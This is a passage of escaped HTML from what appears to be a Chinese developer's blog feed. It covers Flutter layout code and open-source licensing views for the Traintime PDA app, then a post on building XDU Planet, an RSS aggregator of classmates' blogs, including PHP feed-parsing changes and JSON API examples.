\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eAlign\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用 Align 来侦测这个组件在右面还是底下\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebottomCenter\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenterRight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 页面高度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"n\"\u003eradius\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003ePadding\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esymmetric\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehorizontal:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e15\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003evertical:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eextendBodyBehindAppBar:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ePreferredSize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epreferredSize:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ePreferredSize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epreferredSize:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekToolbarHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"pageview-组件使用\"\u003ePageView 组件使用\u003c/h4\u003e\n\u003cp\u003e还是跟组件状态玩命。\u003c/p\u003e\n\u003cp\u003e原先,我的首页是抄的 \u003ca class=\"link\" href=\"https://flutter.github.io/samples/material_3.html\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 的 M3 实例\u003c/a\u003e。这样我就可以在横屏幕时候使用左侧的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-rail/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eNavigationRail\u003c/a\u003e,竖屏幕的时候使用底部的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-bar/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eNavigationBar\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e那么,问题在哪?我原先写的组件,将横屏渲染和竖屏渲染函数给分开写了。结果就导致前几天我迁移首页四个卡片到 PageView 的时候,出现了横屏和竖屏切换时候,页面永远会刷新到第一页。一开始我看了好久的 StatefulWidget 的状态周期,我也没明白。最后我发现,我这是两个组件,每次刷新的时候都会重新绘制这两个组件。解决方法就是,将这两个组件合二为一,在一个组件里面渲染,使用 \u003ccode\u003eVisibility\u003c/code\u003e 组件按需隐藏。\u003c/p\u003e\n\u003ch2 id=\"关于开源的想法\"\u003e关于开源的想法\u003c/h2\u003e\n\u003cp\u003e我对软件,按照开源和开发者,这么看:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e个人开发的开源软件或半开源软件 \u0026gt; 集体开发的开源软件 \u0026gt; 个人开发的闭源软件 \u0026gt; 集体开发的半开源软件 \u0026gt; 集体开发的闭源软件\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e其中,半开源软件请参考 \u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/docs/Anti-Features/\" target=\"_blank\" rel=\"noopener\"\n \u003eFDroid 的负面特征定义\u003c/a\u003e。显然我的软件属于半开源软件,我这个软件实质上模拟了你在浏览器中,对学校后端的访问。\u003c/p\u003e\n\u003cp\u003e实际上软件的开源与否,并不重要,重要的是软件本身能不能很好用,而按照我的经验,软件的好用也可以这么排序,尤其是手机端应用()\u003c/p\u003e\n\u003cp\u003e所以,我虽然经常说开源很重要,但这个实际上是因为我认为个人开发者的产品更好而导致的。而开源软件放前面,是因为代码开放让人用着更舒服,可能我长期用 Linux 留下来的某种遗留症状。而且我某种意义上,真的不喜欢封闭的东西,虽然我发现大家都喜欢。\u003c/p\u003e\n\u003cp\u003e而为啥我要将这个软件按照 MPL 授权,是因为我的软件有很多可以复用的东西,比如上面我大幅度提到的课程表和那个 BothSide 。这些复用的东西我将来是打算做成程序内的 package,如果按照 GPL ,不利于传播。而我目前程序状态,如果使用 MIT 之类的,那可能会有很多的魔改版,然后闭源了。MPL 是按照文件强制开源的,就目前状态所言,假如你只是用了我的课程表代码文件,那么,你只需要开源课程表代码文件+你对这个代码的修改,就好了。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v0.1.0-release-note.html"},{"title":"XDU Planet 感想","time":"2023-07-15T00:00:00Z","content":"\u003cimg src=\"http://legacy.superbart.top/picture/Random/adwaita-d.webp\" alt=\"Featured image of post XDU Planet 感想\" /\u003e\u003ch2 id=\"这个项目的由来\"\u003e这个项目的由来\u003c/h2\u003e\n\u003cp\u003e事情从我看同学博客说起。我感觉把我同学的博客都聚合到一起看,看起来更方便,而且还能满足我一直想当“干新闻的”想法。毕竟,我在校内开过一段时间电台,天天报新闻()\u003c/p\u003e\n\u003cp\u003e我的想法是,按照时间更新 RSS 数据,然后对其进行解码渲染。客户端先选择对象,然后选择文章,就可以看了。我的想法可以说是服务器版本的 RSS 阅读器,只不过 RSS 列表是我写好的同学博客。这个和看报纸十分相似:作者给报社供稿,报社展示。所以我说有点像“搞新闻的”。\u003c/p\u003e\n\u003ch3 id=\"第一次尝试\"\u003e第一次尝试\u003c/h3\u003e\n\u003cp\u003e大约是去年,有个人写了个 go 语言实现的 xduplanet,他的想法是运行一个服务器程序,内部订好抓取 RSS 源的顺序,然后渲染显示。我当下来代码发现,虽然他能做到我上面的想法,但是开发阶段比较原始,他只有一个 json 文件写入所有人的 RSS 链接。而且页面是一个文章列表,而不是先选人再选文章。当时我时间较紧,能力也没那么强,我就作罢。\u003c/p\u003e\n\u003ch3 id=\"第二次尝试\"\u003e第二次尝试\u003c/h3\u003e\n\u003cp\u003e在做 Web 工程大作业的时候,我们组不知为啥,搞的是从网上获取数据,然后用 RSS 输出数据的软件。他是一个管道过滤器结构,RSS 输出只是一个最终的端口。这也是我的一大意向程序,然而我并没帮忙开发多少,只是验收的时候我去演示了而已:-P\u003c/p\u003e\n\u003cp\u003e这个软件实际上十分接近我的需求了,我可以按照列表,推送当天同学博客有啥更新。但是那次演示完了,我感觉我是不想用了……\u003c/p\u003e\n\u003ch3 id=\"这次尝试\"\u003e这次尝试\u003c/h3\u003e\n\u003cp\u003e前几天有个玩老电脑的推荐我 68k.news 和小可怜网的代码。虽然一开始我只是抱着看看能不能用,在服务器上运行了一下,但是我看这网站,感觉我的 XDU Planet 想法终于可以实现了,而且这回基本算是做熟了,摆在了我的桌子上。但是你吃饭还得把菜放在嘴里\u0026hellip;..\u003c/p\u003e\n\u003ch3 id=\"代码修改\"\u003e代码修改\u003c/h3\u003e\n\u003cp\u003e修改了两个方面:Atom 源的支持和 API\u003c/p\u003e\n\u003ch4 id=\"atom-源头\"\u003eAtom 源头\u003c/h4\u003e\n\u003cp\u003e这个项目,由于本身是为了不支持 js 的老电脑显示当前新闻,他使用了 php-cgi 。不过没关心,我看代码十分简单,我就直接上了。我先简单地安排了我同学的博客,然后发现很多人的博客都显示不完全。\u003c/p\u003e\n\u003cp\u003e我去查看了这个项目使用的 php rss 库下面两个示例文件,和本项目进行比较。我发现本项目只支持 RSS 源头,而且 RSS 只支持查看 description 的东西。诚然对于显示新闻的 RSS 源来说,是够用了,但是我同学博客使用了不同的框架,这些框架输出源的格式对于这个程序,算超刚了:-P\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一类是输出了 Atom 类型的源,这个打开头就和 RSS 不一样,程序最后报错。\u003c/li\u003e\n\u003cli\u003e一类是 RSS 源,但是内容都在 content:encoded 里面,这就是显示不完整。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我是一个基本没接触过 PHP 的人,但是代码比较好理解,我发动 CV 大法,把示例文件里面的解码文件抄了过来。然后就可以显示了……乱码。\u003c/p\u003e\n\u003cp\u003e没错,可能是为了兼容老电脑,这个东西使用国标码编码中文。我还得套一层中文编码器,这个我倒感觉能理解。毕竟这个网站本身是针对 Windows 98 级别的老爷机了。\u003c/p\u003e\n\u003cp\u003e以上修改都是针对 channel.php 文件,也就是输出 RSS 文章列表和文章内容的代码。这个项目有很多诸如 channel_ppc.php 等文件,我故意没动,让他们管理我新闻东西的输出,看着新闻这点阵字体,真的很怀旧。\u003c/p\u003e\n\u003ch4 id=\"api\"\u003eAPI\u003c/h4\u003e\n\u003cp\u003e上面的修改过程也是对本项目架构和功能的一个了解。在此之后,我魔改生成 Json 响应代码也就顺水成舟了。\u003c/p\u003e\n\u003cp\u003e这就又要扯到 Traintime PDA 了,这是我大半年以来一直在写的信息查看器。我一直想给这玩意扩充点好玩的功能。最一开始我把很久以前给别人录的饭堂和综合楼数据,在我的程序上进行渲染。但是我总想给这玩意扩充点类似“社交”的功能。正好 XDU Planet 可以在一定程度上满足这个需求,这个可以给大家展示我们同学公开的实用东西,而且这个东西也不需要获取啥机密讯息:他们的博客都是在互联网上公开的,而且终端只需要单方面获取就行了,这是一个单向的信息传递。我的代码也都是开放的,十分符合我开源的执念233\u003c/p\u003e\n\u003cp\u003e前面我提到了 channel.php 的用途,而这个代码的前半部分基本不需要修改,我只需要把下面的 PHP-HTML 混合代码修改成纯脚本输出就行了。PHP 本身支持设置返回头啥的,我只需要把返回头设置成 application/json,然后使用 exit 函数返回我的数据就行了。这就是初步的修改。\u003c/p\u003e\n\u003cp\u003e显然这么简单一改是无法完全我的需求的,API 面向的客户端可不是老年机。为了最后的 Eye candy,我对最核心的数据结构进行了修改。你们可以查看我的 xdurepo.php 文件,我把这个人的图标,名称,地址都传了过去。而最终为了输出 json 更好被客户端解码,我在每个返回值外面都套上了 stdClass。\u003c/p\u003e\n\u003cp\u003e基本上 API 就算这样了,我这里写出来。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;repos\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;benderblog\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"c1\"\u003e// key: 该对象名称,后面查询使用\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SuperBart/Benderblog ~ 开发者\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 显示名称\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;website\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.top\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 博客网站\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;feed\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.top/index.xml\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// RSS 或 ATOM 源头\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;favicon\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://legacy.superbart.top/favicon.ico\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 图标\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 文章列表,下面分别对应标题,发布时间和来源链接\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;list\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2023-04-29T08:00:00+08:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;url\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.top/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// lastUpdateDate:本数据的获取时间,为将来备\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;lastUpdateTime\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1689432413\u003c/span\u003e\u003cspan class=\"err\"\u003e用\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u0026amp;p=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 